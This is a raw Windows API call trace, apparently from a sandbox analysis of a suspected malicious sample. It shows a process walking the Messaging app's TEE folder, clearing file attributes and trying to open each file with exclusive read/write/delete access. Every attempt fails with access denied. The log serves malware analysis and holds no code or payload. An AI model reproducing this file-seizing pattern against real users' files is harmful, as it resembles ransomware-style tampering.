	[0090.722] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PhoneNumber.SMS.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-gb.phonenumber.sms.model")) returned 0x20
	[0090.723] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PhoneNumber.SMS.model", dwFileAttributes=0x20) returned 0
	[0090.723] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PhoneNumber.SMS.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-gb.phonenumber.sms.model"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.723] GetLastError () returned 0x5
	[0090.723] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PhoneNumber.SMS.model", dwFileAttributes=0x20) returned 0
	[0090.723] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491dda8) returned 1
	[0090.723] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x295ebf80, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x296121de, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x296121de, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x27f, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB.PhoneNumber.SMS.ot", cAlternateFileName="")) returned 1
	[0090.723] wcscmp (_String1="en-GB.PhoneNumber.SMS.ot", _String2=".") returned 1
	[0090.723] wcscmp (_String1="en-GB.PhoneNumber.SMS.ot", _String2="..") returned 1
	[0090.723] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32a80
	[0090.723] wcscpy (in: _Dest=0x4e32a80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.723] wcscat (in: _Dest=0x4e32a80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.723] wcscat (in: _Dest=0x4e32a80, _Source="en-GB.PhoneNumber.SMS.ot" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PhoneNumber.SMS.ot") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PhoneNumber.SMS.ot"
	[0090.723] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PhoneNumber.SMS.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-gb.phonenumber.sms.ot")) returned 0x20
	[0090.725] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PhoneNumber.SMS.ot", dwFileAttributes=0x20) returned 0
	[0090.726] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PhoneNumber.SMS.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-gb.phonenumber.sms.ot"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.726] GetLastError () returned 0x5
	[0090.726] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PhoneNumber.SMS.ot", dwFileAttributes=0x20) returned 0
	[0090.726] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32a80) returned 1
	[0090.726] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x296121de, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x296121de, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x296121de, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x73ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB.PostalAddress.model", cAlternateFileName="")) returned 1
	[0090.726] wcscmp (_String1="en-GB.PostalAddress.model", _String2=".") returned 1
	[0090.726] wcscmp (_String1="en-GB.PostalAddress.model", _String2="..") returned 1
	[0090.726] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e32a80
	[0090.726] wcscpy (in: _Dest=0x4e32a80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.726] wcscat (in: _Dest=0x4e32a80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.726] wcscat (in: _Dest=0x4e32a80, _Source="en-GB.PostalAddress.model" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PostalAddress.model") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PostalAddress.model"
	[0090.726] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PostalAddress.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-gb.postaladdress.model")) returned 0x20
	[0090.727] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PostalAddress.model", dwFileAttributes=0x20) returned 0
	[0090.728] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PostalAddress.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-gb.postaladdress.model"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.728] GetLastError () returned 0x5
	[0090.728] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PostalAddress.model", dwFileAttributes=0x20) returned 0
	[0090.728] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32a80) returned 1
	[0090.728] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x296121de, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x296121de, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x296121de, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB.PostalAddress.ot", cAlternateFileName="")) returned 1
	[0090.728] wcscmp (_String1="en-GB.PostalAddress.ot", _String2=".") returned 1
	[0090.728] wcscmp (_String1="en-GB.PostalAddress.ot", _String2="..") returned 1
	[0090.728] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477e110
	[0090.728] wcscpy (in: _Dest=0x477e110, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.728] wcscat (in: _Dest=0x477e110, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.728] wcscat (in: _Dest=0x477e110, _Source="en-GB.PostalAddress.ot" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PostalAddress.ot") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PostalAddress.ot"
	[0090.728] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PostalAddress.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-gb.postaladdress.ot")) returned 0x20
	[0090.730] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PostalAddress.ot", dwFileAttributes=0x20) returned 0
	[0090.730] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PostalAddress.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-gb.postaladdress.ot"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.730] GetLastError () returned 0x5
	[0090.730] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-GB.PostalAddress.ot", dwFileAttributes=0x20) returned 0
	[0090.730] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477e110) returned 1
	[0090.730] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x296121de, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x29638437, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x29638437, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1181c, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.Calendar.model", cAlternateFileName="")) returned 1
	[0090.730] wcscmp (_String1="en-US.Calendar.model", _String2=".") returned 1
	[0090.730] wcscmp (_String1="en-US.Calendar.model", _String2="..") returned 1
	[0090.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477df50
	[0090.730] wcscpy (in: _Dest=0x477df50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.730] wcscat (in: _Dest=0x477df50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.730] wcscat (in: _Dest=0x477df50, _Source="en-US.Calendar.model" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Calendar.model") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Calendar.model"
	[0090.730] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Calendar.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-us.calendar.model")) returned 0x20
	[0090.733] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Calendar.model", dwFileAttributes=0x20) returned 0
	[0090.734] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Calendar.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-us.calendar.model"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.734] GetLastError () returned 0x5
	[0090.734] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Calendar.model", dwFileAttributes=0x20) returned 0
	[0090.734] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477df50) returned 1
	[0090.734] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29638437, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2965e695, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2965e695, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.Calendar.ot", cAlternateFileName="")) returned 1
	[0090.734] wcscmp (_String1="en-US.Calendar.ot", _String2=".") returned 1
	[0090.734] wcscmp (_String1="en-US.Calendar.ot", _String2="..") returned 1
	[0090.734] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e12c68
	[0090.734] wcscpy (in: _Dest=0x2e12c68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.734] wcscat (in: _Dest=0x2e12c68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.734] wcscat (in: _Dest=0x2e12c68, _Source="en-US.Calendar.ot" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Calendar.ot") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Calendar.ot"
	[0090.734] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Calendar.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-us.calendar.ot")) returned 0x20
	[0090.734] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Calendar.ot", dwFileAttributes=0x20) returned 0
	[0090.735] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Calendar.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-us.calendar.ot"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.735] GetLastError () returned 0x5
	[0090.735] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Calendar.ot", dwFileAttributes=0x20) returned 0
	[0090.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12c68) returned 1
	[0090.735] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2965e695, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2965e695, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2965e695, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.Messaging.config", cAlternateFileName="")) returned 1
	[0090.735] wcscmp (_String1="en-US.Messaging.config", _String2=".") returned 1
	[0090.735] wcscmp (_String1="en-US.Messaging.config", _String2="..") returned 1
	[0090.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477df50
	[0090.735] wcscpy (in: _Dest=0x477df50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.735] wcscat (in: _Dest=0x477df50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.735] wcscat (in: _Dest=0x477df50, _Source="en-US.Messaging.config" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Messaging.config") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Messaging.config"
	[0090.735] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Messaging.config" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-us.messaging.config")) returned 0x20
	[0090.737] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Messaging.config", dwFileAttributes=0x20) returned 0
	[0090.738] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Messaging.config" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-us.messaging.config"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.738] GetLastError () returned 0x5
	[0090.738] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.Messaging.config", dwFileAttributes=0x20) returned 0
	[0090.738] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477df50) returned 1
	[0090.738] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2965e695, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2965e695, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2965e695, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.PhoneNumber.SMS.model", cAlternateFileName="")) returned 1
	[0090.738] wcscmp (_String1="en-US.PhoneNumber.SMS.model", _String2=".") returned 1
	[0090.738] wcscmp (_String1="en-US.PhoneNumber.SMS.model", _String2="..") returned 1
	[0090.738] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491d808
	[0090.738] wcscpy (in: _Dest=0x491d808, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.738] wcscat (in: _Dest=0x491d808, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.738] wcscat (in: _Dest=0x491d808, _Source="en-US.PhoneNumber.SMS.model" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PhoneNumber.SMS.model") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PhoneNumber.SMS.model"
	[0090.738] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PhoneNumber.SMS.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-us.phonenumber.sms.model")) returned 0x20
	[0090.739] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PhoneNumber.SMS.model", dwFileAttributes=0x20) returned 0
	[0090.740] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PhoneNumber.SMS.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-us.phonenumber.sms.model"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.740] GetLastError () returned 0x5
	[0090.740] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PhoneNumber.SMS.model", dwFileAttributes=0x20) returned 0
	[0090.740] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d808) returned 1
	[0090.740] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29722e41, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x29795577, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x29795577, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x27f, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.PhoneNumber.SMS.ot", cAlternateFileName="")) returned 1
	[0090.740] wcscmp (_String1="en-US.PhoneNumber.SMS.ot", _String2=".") returned 1
	[0090.740] wcscmp (_String1="en-US.PhoneNumber.SMS.ot", _String2="..") returned 1
	[0090.740] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32c50
	[0090.740] wcscpy (in: _Dest=0x4e32c50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.740] wcscat (in: _Dest=0x4e32c50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.740] wcscat (in: _Dest=0x4e32c50, _Source="en-US.PhoneNumber.SMS.ot" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PhoneNumber.SMS.ot") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PhoneNumber.SMS.ot"
	[0090.741] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PhoneNumber.SMS.ot" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\en-us.phonenumber.sms.ot")) returned 0x20
	[0090.741] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\en-US.PhoneNumber.SMS.ot", dwFileAttributes=0x20) returned 0
